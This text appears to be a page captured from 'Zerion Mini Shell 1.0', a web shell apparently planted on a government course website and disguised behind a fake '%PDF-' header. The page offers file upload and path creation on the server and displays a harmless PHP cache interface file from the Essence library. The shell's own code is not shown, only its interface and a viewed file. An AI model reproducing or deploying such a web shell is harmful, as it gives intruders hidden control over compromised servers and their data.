%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/essence/essence/lib/Essence/Cache/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/essence/essence/lib/Essence/Cache/Engine.php

<?php

/**
 *	@author Félix Girault <felix.girault@gmail.com>
 *	@license FreeBSD License (http://opensource.org/licenses/BSD-2-Clause)
 */

namespace Essence\Cache;



/**
 *	Handles caching.
 *
 *	@package Essence.Cache
 */

interface Engine {

	/**
	 *	Returns if data exists for the given key.
	 *
	 *	@param string $key The key to test.
	 *	@return boolean Whether there is data for the key or not.
	 */

	public function has( $key );



	/**
	 *	Returns the data for the given key.
	 *
	 *	@param string $key The key to search for.
	 *	@param mixed $default Default value to return if there is no data.
	 *	@return mixed The data.
	 */

	public function get( $key, $default = false );



	/**
	 *	Sets the data for the given key.
	 *
	 *	@param string $key The key for the data.
	 *	@param mixed $data The data.
	 *	@return mixed $data The passed data.
	 */

	public function set( $key, $data );

}

Zerion Mini Shell 1.0